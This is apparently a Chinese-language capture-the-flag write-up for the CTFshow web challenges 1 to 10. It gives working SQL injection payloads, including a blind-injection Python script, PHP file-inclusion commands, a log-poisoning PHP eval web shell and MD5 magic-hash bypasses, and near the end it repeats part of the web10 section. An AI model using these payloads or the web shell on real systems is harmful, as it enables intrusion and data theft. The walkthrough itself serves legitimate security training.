CTF_show
web1签到题 信息收集
思路:点击进入发现后 除了一段文字 where is flag?没更多可以利用信息,这时我们右键点击查看源码或者检查页面代码,发现类似一段base64加密数据,此刻我们通过软件或者网站去解密后,即可发现flag
ctfshow{b285709e-88b0-4eb2-93af-4a48adab409d}
web2 SQL注入 post型
点击进入后,出现一个登录框,判断可能存在SQL注入
任意输入一个账户 并且使用万能密码 测试 发现登录成功
admin' or 1=1 #
确定此处存在注入点后,接着使用order by 语句判断字段数,根据页面返回情况,判断出字段数是3
admin' or 1=1 order by 3# 页面正常
admin' or 1=1 order by 4# 页面异常
admin' or 1=1 union select 1,2,3# 判断出显位是2
admin' or 1=1 union select 1,dabase(),3 # 查询库名
admin' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 # 查询表名
admin' or 1=1 union select 1,(select column_name from information_schema.columns where column_name='flag' limit 0,1),3 # 查询字段名
admin' or 1=1 union select 1,(select flag from flag ),3 # 查询flag
ctfshow{546d942b-3665-4799-9fc7-97269b8fcda9}
web3 文件包含 php://input
进入后看见关键字include并且有可控变量url,这时联想到文件包含漏洞
尝试使用伪协议 php://input 看能否执行系统命令
?url=php://input php伪协议
<?php system('ls');?> 用于post传参执行ls命令
<?php system('cat ctf_go_go_go');?> 打开这个文件
?url=ctf_go_go_go 也可以直接用文件包含读取文件
ctfshow{d7923c1e-9e2a-435d-a069-7dad167e90cb}
web4 文件包含 日志文件
进入靶场发现和web3界面一样,这时尝试使用web3的测试方法测试一遍,发现页面出现error。此刻猜测可以存在过滤。我们转换思路,尝试能够否查看日志文件。
通过日志文件信息,我们可以清晰的发现日志记录了我们的User-Agent等信息
?url=/var/log/nginx/access.log 查看日志文件
通过分析,知道了日志里记录我们可控数据,并且我们是通过文件包含漏洞看到这些的。从而联想到将一句话木马写入可控数据中,使用菜刀等软件去连接。一句话木马前后的aaabbb无任何实质操作,只是为了让我们更好的辨认出代码是否插入其中而特意添加的。
<?php eval($_POST['123'])?> 一句话木马
填入网站 密码进行连接
ctfshow{fdc2ef80-adee-4898-b53a-a8af5f6e13fe}
web5 md5漏洞
进入靶场映入眼前的就是php代码,需要我们进行简单的代码审计。
代码审计分析
1,变量v1,v2都是通过GET方式传参
2,ctype_alpha()函数用于检测变量是否为字母
3,is_numeric() 函数用于检测变量是否为数字
4,md5()一种加密方式 相关md5漏洞: PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
解题思路文章来源:https://www.toymoban.com/news/detail-653896.html
我们通过GET方式传入变字母量v1和v2,v1值为字母,v2值为数字,并且这两个变量通过md5加密后都是以0E开头的。
?v1=QNKCDZO&v2=240610708
ctfshow{8529c030-c25d-4458-acc4-9613b63fdd13}
web6 SQL注入 post型 过滤空格
进入靶场,只看见登录框,联想到是否考察SQL注入
尝试万能密码注入,发现提示SQL注入错误
admin' or 1=1#
开始思考是否因为有空格过滤,尝试利用//替换空格验证猜想,果不其然是空格过滤**
admin'/**/or/**/1=1#
开始利用order by 判断字段数
admin'/**/or/**/1=1/**/order/**/by/**/3# 显示正常
admin'/**/or/**/1=1/**/order/**/by/**/4# 显示异常
判断出字段数是3,接着利用联合查询 select 1,2,3
admin'/**/union/**/select/**/1,2,3# 判断回显位
判断出回显位是2,我们在其替换我们要查询的语句
admin'/**/union/**/select/**/1,database(),3# 注入出数据库名称
admin'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 注入出表名
admin'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'# 注入出字段名
admin'/**/union/**/select/**/1,flag,3/**/from/**/flag# 注入出字段里面的内容
ctfshow{1025549c-4303-4670-8243-c97620670742}
web7 SQL注入 GET型 过滤空格
进入靶场后,映入眼前的就是文章列表,尝试任意打开一个,观察到URL地址出现?id=1字样,开始思考是否存在SQL注入
开始尝试判断是否存在注入
and 1=1 #
直接添加进去发现提示SQL注入错误,不禁开始思考是否存在空格过滤,当即尝试使用//替换空格**
?id=1/**/and/**/1=1/**/#
通过测试发现回显正常,存在注入,当即尝试利用order by 判断字段数
?id=1/**/order/**/by/**/3# 回显正常
?id=1/**/order/**/by/**/4# 回显异常
通过测试我们判断出字段数为3,接着我们使用联合查询,判断出回显位置
?id=-1'/**/union/**/select/**/1,2,3#
接着就是同we6一样流程即可
?=-1/**/union/**/select/**/1,database(),3# 注入出数据库名称
id=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 注入出表名
?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3# 注入出字段名
?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3# 注入出字段里面的内容
ctfshow{e1045c83-cf6a-4636-b289-077f998e91f7}
web8 SQL注入 post型 布尔注入
进入靶场后发现和web7一样,尝试用同样的套路去测试,测试发现过滤了空格,and,union,以及逗号,使用or进行判断后发现注入是存在的,这时我就联想到了盲注
由于手动注入效率低下,我们选择直接写脚本代替手工,也刚好满足题意
import requests
s=requests.session()
url='http://ded8c4c8-3140-4a49-8791-3f0e0ae41f17.challenge.ctf.show/index.php'
table=""
for i in range(1,46):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
ctfshow{11d82406-3344-46d0-b042-e3ea652aae95}
web9 SQL注入 post型 md5加密
进入靶场,发现与web8一样只给了账号,此刻猜测可能还是SQL注入,当即用进行测试,反复实验了几组payload都还是未见成效,猜测可能是此题不是考察SQL注入,开始尝试使用dirsearch目录扫描寻找是否还有其他页面,或者其他有利用价值的信息。
python dirsearch.py -u http://ed1cf6ce-3bfa-4d96-9368-fccdc17a5c25.challenge.ctf.show/ -e php
通过扫描发现这个页面/robots.txt,尝试打开。
打开后发现另一个地址/index.phps,接着我们继续打开发现的目录,打开后下载出一个文件,将其打开后发现是登录页面的php代码。
代码审计分析
1,password通过post传参被接收处理
2,strlen() 函数用于计算字符串的长度
3,mysqli_query() 函数执行某个针对数据库的查询
4,mysqli_num_rows() 函数返回结果集中行的数量
5,mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
解题思路
通过上述代码的分析 我们发现突破点就在于利用md5加密后的密码字符串里包含’or’xxx形成闭合,从而形成万能密码,进行绕过使其成功登录,输出flag
ffifdyop 这段字符是从其他大佬文章里面找寻到的,且符合题意
ctfshow{fa3fc8c1-b748-4da8-aaeb-a71baca0a164}
web10 SQL注入 post型
进入靶场后发现依旧是熟悉的界面,不一样的就是出现了一个取消按钮,猜测可能还是考察SQL注入
尝试点击取消,发现下载后是登录页面的php代码
代码审计分析
1,replaceSpecialChar函数用于过滤特殊字符
2,strlen() 函数用于计算字符串的长度
解题思路
通过上述代码描述,发现限制了许多关键字符,也对输入长度有检测,从而双写绕过这条道路被堵死,通过思考为了让账号密码都能正确执行,我们可以才用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null,此刻我们不输入密码,密码就为空,刚好也能满足代码判断条件从而正常执行,登录成功输出flag文章来源地址https://www.toymoban.com/news/detail-653896.html
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
ctfshow{199d9068-9f08-4936-97bc-ffb67c6e5915}
Char函数用于过滤特殊字符**
2,strlen() 函数用于计算字符串的长度
解题思路
通过上述代码描述,发现限制了许多关键字符,也对输入长度有检测,从而双写绕过这条道路被堵死,通过思考为了让账号密码都能正确执行,我们可以才用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null,此刻我们不输入密码,密码就为空,刚好也能满足代码判断条件从而正常执行,登录成功输出flag
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
ctfshow{199d9068-9f08-4936-97bc-ffb67c6e5915}
到了这里,关于CTFshow 1-10关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!